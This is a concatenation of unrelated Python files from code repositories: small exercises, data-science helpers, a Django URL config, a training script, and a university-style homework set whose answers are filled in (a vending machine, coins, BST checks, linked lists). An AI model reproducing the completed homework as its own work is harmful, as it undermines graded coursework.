0\n# #self.Veg_Material = [] # 佐料材料\n#\n#\n#\n#\n# def CooKTime(self, Ctime):\n#\n# if Ctime > 0 and Ctime < 3:\n# print(\"三成熟的地瓜,烤了%s分钟\" % Ctime)\n# elif Ctime > 3 and Ctime <7:\n# print(\"半成熟的地瓜,烤了%s分钟\" % Ctime)\n# elif Ctime > 7 and Ctime <10:\n# print(\"熟了,享用吧,用时 % s\" % Ctime)\n# elif Ctime > 10:\n# print(\"烤糊的地瓜只需要超过%s分钟\" % Ctime)\n# else:\n# print(\"输入时间有误\")\n# return\n#\n#\n# you_time = input(\"enter your time:\")\n# big_Chiken = Chiken()\n# big_Chiken.cook_time(you_time)\n\nclass bigdatui(object):\n def __init__(self):\n self.state = \"生的\"\n self.cook = 0\n self.Material = []\n\n def cookTime(self, time): # 参数最好小写\n self.cook += time\n if self.cook <= 0:\n self.state = \"生的\"\n elif 0 < self.cook < 7:\n self.state = \"半生不熟\"\n elif 7 < self.cook < 10:\n self.state = \"熟了\"\n else:\n self.state = \"烤糊了\"\n\n def add_material(self, material):\n self.Material.append(material)\n\n def __str__(self):\n # 一般做成返回值return最好\n return \"此大腿状态是%s,烤了%s分钟,用了%s这些材料\" % (self.state, self.cook, self.Material)\n\n\nDatui = bigdatui()\nEnter_time = int(input(\"输入你喜欢的时间:\"))\n\nfor i in range(10):\n if Datui.cook > 10:\n print(Datui)\n break\n else:\n MaTerial = input(\"放入你喜欢的佐料:\")\n Datui.cookTime(Enter_time)\n Datui.add_material(MaTerial)\n print(Datui)\n i += 2","repo_name":"Jasonmes/Single_link_list","sub_path":"草稿3.py","file_name":"草稿3.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12612942427","text":"def get_lag_order(df, **kwargs):\r\n \"\"\"\r\n function to determine the lag order of the model\r\n\r\n parameters:\r\n df data frame to be used\r\n\r\n kwargs:\r\n silent print output\r\n True | False\r\n DEFAULT: True\r\n\r\n crit which criterion to use\r\n 'AIC' | 'BIC' | 'FPE' | 'HQIC'\r\n DEFAULT: 'AIC'\r\n\r\n orders list of orders to be used\r\n DEFAULT: [1,...,6]\r\n\r\n model model to be used\r\n 'AR' | 'VAR'\r\n DEFAULT: 'VAR' (using AVG, STOCK, COUNT)\r\n\r\n \"\"\"\r\n\r\n# packages\r\n import pandas as pd\r\n import numpy as np\r\n# from statsmodels.tools.eval_measures import aic\r\n\r\n\r\n# handle kwargs\r\n silent = True if 'silent' not in kwargs else kwargs['silent']\r\n crit = 'AIC' if 'crit' not in kwargs else kwargs['crit']\r\n orders = [i for i in range(1, 7)] if 'orders' not in kwargs else kwargs['orders']\r\n model = 'VAR' if 'model' not in kwargs else kwargs['model']\r\n\r\n# set up df for results\r\n lag_results = pd.DataFrame({'lag': orders,\r\n 'AIC': [np.nan for i in range(len(orders))],\r\n 'BIC': [np.nan for i in range(len(orders))],\r\n 'FPE': [np.nan for i in range(len(orders))],\r\n 'HQIC': [np.nan for i in range(len(orders))]})\r\n lag_results.set_index('lag', inplace = True)\r\n\r\n# use criterion\r\n if model == 'VAR':\r\n from statsmodels.tsa.api import VAR\r\n model = VAR(df[['AVG', 'COUNT', 'STOCK']])\r\n for i in orders:\r\n model_fitted = model.fit(i)\r\n lag_results.at[i, 'AIC'] = model_fitted.aic\r\n lag_results.at[i, 'BIC'] = model_fitted.bic\r\n lag_results.at[i, 'FPE'] = model_fitted.fpe\r\n lag_results.at[i, 'HQIC'] = model_fitted.hqic\r\n elif model == 'AR':\r\n lag_results.drop('FPE', axis = 1,inplace = True)\r\n from statsmodels.tsa.ar_model import AutoReg\r\n for i in orders:\r\n model = AutoReg(df[['STOCK']][:], lags = i, trend = 'n')\r\n model_fitted = model.fit()\r\n lag_results.at[i, 'AIC'] = model_fitted.aic\r\n lag_results.at[i, 'BIC'] = model_fitted.bic\r\n lag_results.at[i, 'HQIC'] = model_fitted.hqic\r\n\r\n\r\n# print output\r\n if not silent:\r\n print('Using information criteria for lag orders {}:'.format(str(orders)))\r\n print(lag_results)\r\n\r\n# determine best\r\n opt_lag = lag_results[lag_results[crit] == lag_results[crit].min()].index[0]\r\n if not silent: print('Optimal lag by {} is {}'.format(str(crit), str(opt_lag)))\r\n\r\n# return\r\n return(opt_lag)\r\n\r\n","repo_name":"acrede/BA","sub_path":"Text/LaTeX/code/get_lag_order.py","file_name":"get_lag_order.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30110727993","text":"# from sidecar import Sidecar\nfrom IPython.display import display\nfrom ipywidgets import Accordion, FileUpload, IntSlider, Tab, Text, Button, Dropdown, AppLayout, Box, HBox, VBox\nfrom traitlets import default, List, HasTraits\n\nclass Dashboard(HasTraits):\n project_list = List\n \n def __init__(self):\n self.t_file_upload = FileUpload(description='Upload an image for Analysis')\n self.acc_open_files = Accordion(description='Yowza')\n self.header = HBox(children=[self.t_file_upload])\n self.center_panel = VBox(children=[self.acc_open_files])\n self.right_panel = VBox(children=[])\n \n self.app_layout = AppLayout(\n header=self.header, left_sidebar=None, center=self.center_panel, right_sidebar=self.right_panel, pane_widths=[\"3%\", \"72%\", \"25%\"], pane_heights=[\"13%\", \"85%\", \"2%\"], footer=None)\n self.app_tab = Tab(children=[self.app_layout])\n \n @default('project_list')\n def default_project_list(self):\n sseturn [('John', 0), ('Jamie', 1), ('Kay', 2)]\n \n def display(self):\n display(self.app_tab)","repo_name":"jheinnic/capsule-6366552","sub_path":"code/v1/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27972360827","text":"import fileinput\n\n\ndef get_inputs(filename=None):\n return [int(l.strip()) for l in fileinput.input(filename or \"inputs.txt\")]\n\n\ndef calc_weakness(numbers, error_pos):\n error_value = numbers[error_pos]\n\n\ndef part_1(filename=None, window=25):\n numbers = get_inputs(filename)\n for i, n in enumerate(numbers[window:]):\n preamble = set(numbers[i : i + window])\n if not any(n - p in preamble for p in preamble):\n return n\n return None\n\n\ndef part_2(filename=None, window=25):\n numbers = get_inputs(filename)\n error = part_1(filename, window)\n head = 0\n tail = 0\n while sum(numbers[head : head + tail + 2]) != error:\n if sum(numbers[head : head + tail + 2]) <= error:\n tail += 1\n else:\n head += 1\n tail = 0\n sum_set = numbers[head : head + tail + 2]\n return min(sum_set) + max(sum_set)\n\n\nif __name__ == \"__main__\":\n print(\"Day 09\")\n print(f\"Part 1: {part_1()}\")\n print(f\"Part 2: {part_2()}\")\n","repo_name":"iamjonco/advent-of-code","sub_path":"aoc_2020/day_09/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40182604295","text":"class Node:\r\n def __init__(self, data):\r\n self.data = data\r\n self.prev = None\r\n self.next = None\r\n \r\nclass DoublyLinkedList:\r\n def __init__(self):\r\n self.head = None\r\n \r\n def add_node_at_index(self, index, data):\r\n new_node = Node(data)\r\n \r\n # Jika linked list masih kosong\r\n if self.head is None:\r\n self.head = new_node\r\n return\r\n \r\n # Jika ingin menambahkan di awal\r\n if index == 0:\r\n new_node.next = self.head\r\n self.head.prev = new_node\r\n self.head = new_node\r\n return\r\n \r\n # Mencari posisi node sebelumnya\r\n curr_node = self.head\r\n i = 0\r\n while i < index - 1 and curr_node is not None:\r\n curr_node = curr_node.next\r\n i += 1\r\n \r\n # Jika indeks diluar batas\r\n if curr_node is None:\r\n print(\"Indeks melebihi batas\")\r\n return\r\n \r\n # Menambahkan node pada indeks tertentu\r\n new_node.prev = curr_node\r\n new_node.next = curr_node.next\r\n if curr_node.next is not None:\r\n curr_node.next.prev = new_node\r\n curr_node.next = new_node\r\n \r\n def delete_node_at_index(self, index):\r\n # Jika linked list masih kosong\r\n if self.head is None:\r\n print(\"List kosong\")\r\n return\r\n \r\n # Jika ingin menghapus node pertama\r\n if index == 0:\r\n self.head = self.head.next\r\n if self.head is not None:\r\n self.head.prev = None\r\n return\r\n \r\n # Mencari posisi node\r\n curr_node = self.head\r\n i = 0\r\n while i < index and curr_node is not None:\r\n curr_node = curr_node.next\r\n i += 1\r\n \r\n # Jika indeks diluar batas\r\n if curr_node is None:\r\n print(\"Indeks melebihi batas\")\r\n return\r\n \r\n # Menghapus node pada indeks tertentu\r\n if curr_node.prev is not None:\r\n curr_node.prev.next = curr_node.next\r\n if curr_node.next is not None:\r\n curr_node.next.prev = curr_node.prev\r\n \r\n def print_list(self):\r\n # Menampilkan isi dari linked list\r\n curr_node = self.head\r\n while curr_node is not None:\r\n print(curr_node.data)\r\n curr_node = curr_node.next\r\n\r\n# Membuat objek dari Doubly Linked List\r\ndll = DoublyLinkedList()\r\n\r\n# Menambahkan node pada indeks 0\r\ndll.add_node_at_index(0, 10)\r\n\r\n# Menambahkan node pada indeks 1\r\ndll.add_node_at_index(1, 20)\r\n\r\n# Menambahkan node pada indeks 2\r\ndll.add_node_at_index(2, 30)\r\n\r\n# Menampilkan isi dari linked list\r\ndll.print_list()\r\n\r\n# Menghapus node pada indeks 1\r\ndll.delete_node_at_index(1)\r\n\r\n# Menampilkan isi dari linked list\r\ndll.print_list()\r\n","repo_name":"Shandika14/Kuliah-UTY","sub_path":"Python/Semester - 2/Tugas Linked List.py","file_name":"Tugas Linked List.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37046575483","text":"import logging\nfrom swagger_server.models.Institution import Institution\nsql_select = \"select * from institution where status = 'A'\"\nsql_search = \"select * from institution where status = 'A' AND id = :institution_id\"\nclass InstitutionRepository:\n\n def __init__(self, mysql_client):\n self.session_factory = mysql_client.session_factory\n\n def get_institution(self):\n with self.session_factory() as session:\n rows = session.execute(sql_select)\n return rows\n\n def get_institution_by_id(self, institution_id):\n with self.session_factory() as session:\n logging.info(f\"Consultar Institution por ID: \")\n logging.info(f\"Query: {sql_search}\")\n logging.info(f\"Id: {institution_id}\")\n result = session.execute(sql_search, {\"institution_id\": institution_id})\n row = result.fetchone()\n if row is not None:\n institution = Institution(\n address=row['address'],\n created_at=row['created_at'],\n created_user=row['created_user'],\n description=row['description'],\n id=row['id'],\n name=row['name'],\n status=row['status'],\n updated_at=row['updated_at'],\n updated_user=row['updated_user']\n )\n return institution\n else:\n raise ValueError(f\"Institución con ID {institution_id} no encontrada\")","repo_name":"kevinarauz/Examen_Kevin","sub_path":"swagger_server/repository/institution_repository.py","file_name":"institution_repository.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41967040005","text":"from logging import raiseExceptions\nimport os\n# hydra\nimport hydra \nfrom omegaconf import DictConfig, OmegaConf\nimport torch\n# pytorch-lightning related imports\nfrom pytorch_lightning import Trainer\nimport pytorch_lightning.loggers as pl_loggers\nfrom pytorch_lightning.callbacks import LearningRateMonitor\nfrom utils import ImageLogCallback\n# own modules\nfrom dataloader import PL_DataModule\nfrom method import LitModel\nimport warnings\n\ndef fxn():\n warnings.warn(\"deprecated\", DeprecationWarning)\n\n\n\ndef setup_cuda(cfg: DictConfig):\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\" \n os.environ[\"CUDA_VISIBLE_DEVICES\"] = cfg.trainer.cuda_number\n\ndef get_dataloader(cfg: DictConfig):\n return PL_DataModule(cfg.dataloader)\n \n \n@hydra.main(config_path='./configs', config_name='defaults')\ndef main(cfg: DictConfig):\n setup_cuda(cfg)\n print(OmegaConf.to_yaml(cfg))\n \n \n if (cfg.dataloader.precompute_graph != 'None') and (cfg.model.type != 'gcnNnet'):\n assert 1==2, f'Precomputed graph with {cfg.dataloader.precompute_graph} and model {cfg.model.type}'\n\n # Configure weight and biases \n \n logger = pl_loggers.WandbLogger(\n project=cfg.wadb.logger_project_name,\n name=cfg.wadb.logger_name if cfg.wadb.logger_name != 'None' else None, \n entity=cfg.wadb.entity)\n \n # Configure trained\n trainer = Trainer(\n gpus=cfg.trainer.gpus,\n logger=logger if cfg.trainer.is_logger_enabled else False,\n num_sanity_val_steps=cfg.trainer.num_sanity_val_steps, \n check_val_every_n_epoch=cfg.trainer.check_val_every_n_epoch,\n max_epochs=cfg.model.opt.max_epochs,\n log_every_n_steps=cfg.trainer.log_every_n_steps,\n callbacks=[LearningRateMonitor(\"step\"), ImageLogCallback()] if cfg.trainer.is_logger_enabled else [],)\n\n # Setup dataloader and model\n datamodule = get_dataloader(cfg)\n \n # Obtain feature sizes and number of labels\n batch = next(iter(datamodule.train_dataloader()))\n cfg.model.opt.loader_batches = len(datamodule.train_dataloader())\n cfg.model.insize ,cfg.model.outsize = batch.x.shape[1], torch.unique(batch.y).shape[0]\n\n # Get dataset SVM baseline\n cfg.dataloader.f1_svm = datamodule.train_dataset.f1_svm\n cfg.dataloader.acc_svm = datamodule.train_dataset.acc_svm\n\n model = LitModel(datamodule=datamodule, cfg=cfg)\n\n # Train\n trainer.fit(model, datamodule)\n\n\nif __name__ == \"__main__\":\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n fxn()\n\n main()\n","repo_name":"levtelyatnikov/graph_edge_generation","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6489334962","text":"import csv\nimport json\nimport random\n\nessay_sets = [1, 2, 3, 6, 7, 8]\ntopics = [\n (1, 'Write a letter to your local newspaper in which you state your opinion on the effects computers have on people'),\n (2, 'Write to a newspaper reflecting your vies on censorship in libraries and if certain materials should be removed from the shelves if they are found offensive'),\n (3, 'Write about what factors can affect a lost cyclist trying to get to the nearest town'),\n (6, 'Write about the obstacles the builders of the Empire State Building faced in attempting to allow dirigibles to dock there'),\n (7, 'Write about patience. Being patient means that you are understanding and tolerant. A patient person experience difficulties without complaining'),\n (8, 'We all understand the benefits of laughter. Tell a true story in which laughter was one element or part of it'),\n]\ntopic_dict = {topic[0]: topic[1] for topic in topics}\ndictionaries = [] # [{question: \"\", human_answers: [], chatgp_answers: []}]\n\n\ndef getDict(set):\n for dictionary in dictionaries:\n question = topic_dict[set]\n if dictionary['question'] == question:\n return dictionary\n return None\n\n\ndef parseChatGPT():\n # Open the CSV file\n with open('datasets/dataset-chatgpt.csv', 'r') as csv_file:\n reader = csv.DictReader(csv_file)\n\n # Split the CSV rows into two lists\n for row in reader:\n set = int(row['essay_set'])\n essay = row['essay']\n dictionary = getDict(set)\n if dictionary is not None:\n dictionary['chatgp_answers'].append(essay)\n else:\n dictionaries.append(\n {'question': topic_dict[set], 'human_answers': [], 'chatgp_answers': [essay]})\n\n\ndef parseHuman():\n # Open the CSV file\n with open('datasets/dataset-human.csv', 'r', encoding='utf-8') as csv_file:\n reader = csv.DictReader(csv_file)\n\n # Split the CSV rows into two lists\n for row in reader:\n set = int(row['essay_set'])\n essay = row['essay']\n if set in [4, 5]: # Does NOT include essay sets 4 and 5\n continue\n dictionary = getDict(set)\n if dictionary is not None:\n dictionary['human_answers'].append(essay)\n else:\n dictionaries.append(\n {'question': topic_dict[set], 'human_answers': [essay], 'chatgp_answers': []})\n\n\ndef trainAndTest():\n # 80% train, 20% test\n train = []\n test = []\n for dictionary in dictionaries:\n if dictionary['question'] == topics[4][1] or dictionary['question'] == topics[5][1]:\n is_test = True\n else:\n is_test = False\n human_answers = dictionary['human_answers']\n chatgp_answers = dictionary['chatgp_answers']\n # Shuffle the answers\n random.shuffle(human_answers)\n random.shuffle(chatgp_answers)\n\n if is_test == True:\n test.append(\n {'question': dictionary['question'], 'human_answers': human_answers, 'chatgp_answers': chatgp_answers})\n else:\n train.append(\n {'question': dictionary['question'], 'human_answers': human_answers, 'chatgp_answers': chatgp_answers})\n\n return train, test\n\n\ndef convertJSONLformat(objectList):\n newList = []\n for obj in objectList:\n question = obj['question']\n human_answers = obj['human_answers']\n for human_answer in human_answers:\n newList.append(\n {'question': question, 'answer': human_answer, 'chatgpt': False})\n chatgp_answers = obj['chatgp_answers']\n for chatgp_answer in chatgp_answers:\n newList.append(\n {'question': question, 'answer': chatgp_answer, 'chatgpt': True})\n return newList\n\n\ndef saveJSONL(objectList, filename):\n with open(filename, 'w') as f:\n for obj in objectList:\n f.write(json.dumps(obj) + '\\n')\n\n\nif __name__ == '__main__':\n parseHuman()\n parseChatGPT()\n train, test = trainAndTest()\n\n # Save the JSON object to a file\n saveJSONL(convertJSONLformat(train), 'train.jsonl')\n saveJSONL(convertJSONLformat(test), 'test.jsonl')\n","repo_name":"afroz-al/AuthentiCheck","sub_path":"scripts/parse-csv.py","file_name":"parse-csv.py","file_ext":"py","file_size_in_byte":4257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39857294612","text":"\"\"\"\n*Задание 2. *\n\n• Установить пакет для расчёта crc32\nsudo apt install libarchive-zip-perl\n• Доработать проект, добавив тест команды расчёта хеша (h). Проверить, что хеш совпадает с рассчитанным\n командой crc32.\n\"\"\"\nimport os.path\n\nimport pytest\nimport subprocess\n\ndef test_list_files():\n output = subprocess.check_output(['./my_program', 'l'])\n\n assert 'file.text' in output.decode()\n\ndef test_exstract_files_with_paths():\n subprocess.call(['./my_program', 'c', '-p', 'path/to/archive', 'file1.txt', 'file2.txt'])\n\n output = subprocess.check_output(['./my_program', 'x', '-p','path/to/archive'])\n\n assert os.path.exists('path/to/archive'/'file1.txt')\n assert os.path.exists('path/to/archive'/'file2.txt')\n\ndef test_hash_calculation():\n with open('file.txt', 'w') as f:\n f.write('Im student')\n\n output = subprocess.check_output(['./my_program', 'h', 'file.txt'])\n\n expected_hash = subprocess.check_output(['crc32', 'file.txt']).decode().rstrip()\n assert output.decode().rstrip() == expected_hash\n\n\n if __name__ == '__main__':\n pytest.main\n","repo_name":"WiktorTomin/PycharmProjects","sub_path":"Linux_python/Task_2.py","file_name":"Task_2.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16847860359","text":"from youtube_transcript_api import YouTubeTranscriptApi\nimport numpy as np\nimport re\nimport urllib.parse as urlparse\n\n\ndef convert_transcript_to_dict(url):\n \"\"\"\n Convert YouTube video transcript to a dictionary.\n\n Args:\n url (str): The URL of the YouTube video.\n\n Returns:\n dict: A dictionary where the keys are the timestamps of each transcript\n entry and the values are the corresponding transcript text.\n \"\"\"\n parsed_url = urlparse.urlparse(url)\n query_params = urlparse.parse_qs(parsed_url.query)\n video_id = query_params[\"v\"][0]\n data = YouTubeTranscriptApi.get_transcript(video_id)\n\n result = {}\n for entry in data:\n if \"text\" in entry:\n result[entry[\"start\"]] = entry[\"text\"]\n return result\n\n\ndef extract_transcript_from_timeframe(data_dict, start, end):\n \"\"\"\n Extracts the transcript of a given timeframe from a dictionary of YouTube video transcripts.\n\n Args:\n data_dict (dict): A dictionary containing the YouTube video transcript data.\n start (float): The start time of the desired transcript in seconds.\n end (float): The end time of the desired transcript in seconds.\n\n Returns:\n str: The transcript of the given timeframe.\n \"\"\"\n\n def clean_test(text):\n text = text.replace(\"\\n\", \" \")\n text = re.sub(r\"\\s+\", \" \", text)\n text = text.replace(\" -\", \"-\")\n text = text.strip()\n return text\n\n keys = np.array(list(data_dict.keys()))\n closest_start = np.argmin(np.abs(keys - start))\n closest_end = np.argmin(np.abs(keys - end))\n timestamps = keys[closest_start : closest_end + 1]\n\n transcript = \"\"\n for t in timestamps:\n text = clean_test(data_dict[t])\n transcript += text + \" \"\n\n return transcript\n\n\nurl = \"https://www.youtube.com/watch?v=6ZrlsVx85ek\"\n\nres = convert_transcript_to_dict(url)\ntranscript = extract_transcript_from_timeframe(res, 400, 1000)\n\nprint(transcript)\n","repo_name":"leonseet/andrew_huberman_chatbot","sub_path":"archive/extract_yt_timestamp_transcripts.py","file_name":"extract_yt_timestamp_transcripts.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72904849654","text":"\"\"\"team_builder URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import include\nfrom django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', include('django.contrib.auth.urls')),\n path('profile-redirect', views.profile_redirect, name='profile_redirect'),\n path('', views.view_profile, name='root'),\n path('/dashboard', views.view_dashboard, name='user_dashboard'),\n path('edit', views.edit_profile, name='edit'),\n path('sign-up/', views.sign_up, name='sign_up'),\n]\n","repo_name":"jhoover4/social-team-builder","sub_path":"user_profile/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28734865622","text":"passphrase = '*** PASSPHRASE HERE ***'\n\n\ndef survey(p):\n \"\"\"\n You do not need to understand this code.\n >>> survey(passphrase)\n 'bb4279ef9763aeadeeeb401258aef409493f08a6e7457ecc2bbeb5db'\n \"\"\"\n import hashlib\n return hashlib.sha224(p.encode('utf-8')).hexdigest()\n\n\nclass VendingMachine:\n \"\"\"A vending machine that vends some product for some price.\n\n >>> v = VendingMachine('candy', 10)\n >>> v.vend()\n 'Inventory empty. Restocking required.'\n >>> v.add_funds(15)\n 'Inventory empty. Restocking required. Here is your $15.'\n >>> v.restock(2)\n 'Current candy stock: 2'\n >>> v.vend()\n 'You must add $10 more funds.'\n >>> v.add_funds(7)\n 'Current balance: $7'\n >>> v.vend()\n 'You must add $3 more funds.'\n >>> v.add_funds(5)\n 'Current balance: $12'\n >>> v.vend()\n 'Here is your candy and $2 change.'\n >>> v.add_funds(10)\n 'Current balance: $10'\n >>> v.vend()\n 'Here is your candy.'\n >>> v.add_funds(15)\n 'Inventory empty. Restocking required. Here is your $15.'\n\n >>> w = VendingMachine('soda', 2)\n >>> w.restock(3)\n 'Current soda stock: 3'\n >>> w.restock(3)\n 'Current soda stock: 6'\n >>> w.add_funds(2)\n 'Current balance: $2'\n >>> w.vend()\n 'Here is your soda.'\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n\n def __init__(self, name, price):\n self.name = name\n self.price = price\n self.inventory = 0\n self.balance = 0\n\n def vend(self):\n if self.inventory == 0:\n return 'Inventory empty. Restocking required.'\n elif self.balance < self.price:\n return f'You must add ${self.price - self.balance} more funds.'\n else:\n change = self.balance - self.price\n self.inventory -= 1\n self.balance = 0\n if change == 0:\n return f'Here is your {self.name}.'\n else:\n return f'Here is your {self.name} and ${change} change.'\n\n def add_funds(self, funds):\n if self.inventory == 0:\n return f'Inventory empty. Restocking required. Here is your ${funds}.'\n self.balance += funds\n return f'Current balance: ${self.balance}'\n\n def restock(self, inventory):\n self.inventory += inventory\n return f'Current {self.name} stock: {self.inventory}'\n\n\nclass Mint:\n \"\"\"A mint creates coins by stamping on years.\n\n The update method sets the mint's stamp to Mint.current_year.\n\n >>> mint = Mint()\n >>> mint.year\n 2020\n >>> dime = mint.create(Dime)\n >>> dime.year\n 2020\n >>> Mint.current_year = 2100 # Time passes\n >>> nickel = mint.create(Nickel)\n >>> nickel.year # The mint has not updated its stamp yet\n 2020\n >>> nickel.worth() # 5 cents + (80 - 50 years)\n 35\n >>> mint.update() # The mint's year is updated to 2100\n >>> Mint.current_year = 2175 # More time passes\n >>> mint.create(Dime).worth() # 10 cents + (75 - 50 years)\n 35\n >>> Mint().create(Dime).worth() # A new mint has the current year\n 10\n >>> dime.worth() # 10 cents + (155 - 50 years)\n 115\n >>> Dime.cents = 20 # Upgrade all dimes!\n >>> dime.worth() # 20 cents + (155 - 50 years)\n 125\n \"\"\"\n current_year = 2020\n\n def __init__(self):\n self.update()\n\n def create(self, kind):\n \"*** YOUR CODE HERE ***\"\n return kind(self.year)\n\n def update(self):\n \"*** YOUR CODE HERE ***\"\n self.year = Mint.current_year\n\n\nclass Coin:\n def __init__(self, year):\n self.year = year\n\n def worth(self):\n \"*** YOUR CODE HERE ***\"\n diff = Mint.current_year - self.year\n if diff > 50:\n return self.cents + (diff - 50)\n return self.cents\n\n\nclass Nickel(Coin):\n cents = 5\n\n\nclass Dime(Coin):\n cents = 10\n\n\ndef is_bst(t):\n \"\"\"Returns True if the Tree t has the structure of a valid BST.\n\n >>> t1 = Tree(6, [Tree(2, [Tree(1), Tree(4)]), Tree(7, [Tree(7), Tree(8)])])\n >>> is_bst(t1)\n True\n >>> t2 = Tree(8, [Tree(2, [Tree(9), Tree(1)]), Tree(3, [Tree(6)]), Tree(5)])\n >>> is_bst(t2)\n False\n >>> t3 = Tree(6, [Tree(2, [Tree(4), Tree(1)]), Tree(7, [Tree(7), Tree(8)])])\n >>> is_bst(t3)\n False\n >>> t4 = Tree(1, [Tree(2, [Tree(3, [Tree(4)])])])\n >>> is_bst(t4)\n True\n >>> t5 = Tree(1, [Tree(0, [Tree(-1, [Tree(-2)])])])\n >>> is_bst(t5)\n True\n >>> t6 = Tree(1, [Tree(4, [Tree(2, [Tree(3)])])])\n >>> is_bst(t6)\n True\n >>> t7 = Tree(2, [Tree(1, [Tree(5)]), Tree(4)])\n >>> is_bst(t7)\n False\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n\n # Each node has at most two children (a leaf is automatically a valid binary search tree)\n # The children are valid binary search trees\n # For every node, the entries in that node's left child are less than or equal to the label of the node\n # For every node, the entries in that node's right child are greater than the label of the node\n\n def bst_max(t):\n \"\"\"Return the max value in a BST.\"\"\"\n if t.is_leaf():\n return t.label\n else:\n return max(bst_max(t.branches[-1]), t.label)\n\n def bst_min(t):\n \"\"\"Return the min value in a BST.\"\"\"\n if t.is_leaf():\n return t.label\n else:\n return min(bst_min(t.branches[0]), t.label)\n\n if t.is_leaf():\n return True\n elif len(t.branches) == 1:\n c = t.branches[0]\n return is_bst(c) and (bst_max(c) <= t.label or bst_min(c) > t.label)\n elif len(t.branches) == 2:\n c1, c2 = t.branches\n valid_branches = is_bst(c1) and is_bst(c2)\n return valid_branches and bst_max(c1) <= t.label <= bst_min(c2)\n else:\n return False\n\n\ndef store_digits(n):\n \"\"\"Stores the digits of a positive number n in a linked list.\n\n >>> s = store_digits(1)\n >>> s\n Link(1)\n >>> store_digits(2345)\n Link(2, Link(3, Link(4, Link(5))))\n >>> store_digits(876)\n Link(8, Link(7, Link(6)))\n >>> # a check for restricted functions\n >>> import inspect, re\n >>> cleaned = re.sub(r\"#.*\\\\n\", '', re.sub(r'\"{3}[\\s\\S]*?\"{3}', '', inspect.getsource(store_digits)))\n >>> print(\"Do not use str or reversed!\") if any([r in cleaned for r in [\"str\", \"reversed\"]]) else None\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n result = Link.empty\n while n > 0:\n result = Link(n % 10, result)\n n //= 10\n return result\n\n\ndef path_yielder(t, value):\n \"\"\"Yields all possible paths from the root of t to a node with the label value\n as a list.\n\n >>> t1 = Tree(1, [Tree(2, [Tree(3), Tree(4, [Tree(6)]), Tree(5)]), Tree(5)])\n >>> print(t1)\n 1\n 2\n 3\n 4\n 6\n 5\n 5\n >>> next(path_yielder(t1, 6))\n [1, 2, 4, 6]\n >>> path_to_5 = path_yielder(t1, 5)\n >>> sorted(list(path_to_5))\n [[1, 2, 5], [1, 5]]\n\n >>> t2 = Tree(0, [Tree(2, [t1])])\n >>> print(t2)\n 0\n 2\n 1\n 2\n 3\n 4\n 6\n 5\n 5\n >>> path_to_2 = path_yielder(t2, 2)\n >>> sorted(list(path_to_2))\n [[0, 2], [0, 2, 1, 2]]\n \"\"\"\n\n \"*** YOUR CODE HERE ***\"\n if t.label == value:\n yield [value]\n\n for b in t.branches:\n for path in path_yielder(b, value):\n \"*** YOUR CODE HERE ***\"\n yield [t.label] + path\n\n\ndef remove_all(link, value):\n \"\"\"Remove all the nodes containing value in link. Assume that the\n first element is never removed.\n\n >>> l1 = Link(0, Link(2, Link(2, Link(3, Link(1, Link(2, Link(3)))))))\n >>> print(l1)\n <0 2 2 3 1 2 3>\n >>> remove_all(l1, 2)\n >>> print(l1)\n <0 3 1 3>\n >>> remove_all(l1, 3)\n >>> print(l1)\n <0 1>\n >>> remove_all(l1, 3)\n >>> print(l1)\n <0 1>\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n while link.rest is not Link.empty:\n if link.rest.first == value:\n link.rest = link.rest.rest\n else:\n link = link.rest\n\n # recursive solution\n # if link is Link.empty or link.rest is Link.empty:\n # return\n # if link.rest.first == value:\n # link.rest = link.rest.rest\n # remove_all(link, value)\n # else:\n # remove_all(link.rest, value)\n\n\ndef deep_map(f, link):\n \"\"\"Return a Link with the same structure as link but with fn mapped over\n its elements. If an element is an instance of a linked list, recursively\n apply f inside that linked list as well.\n\n >>> s = Link(1, Link(Link(2, Link(3)), Link(4)))\n >>> print(deep_map(lambda x: x * x, s))\n <1 <4 9> 16>\n >>> print(s) # unchanged\n <1 <2 3> 4>\n >>> print(deep_map(lambda x: 2 * x, Link(s, 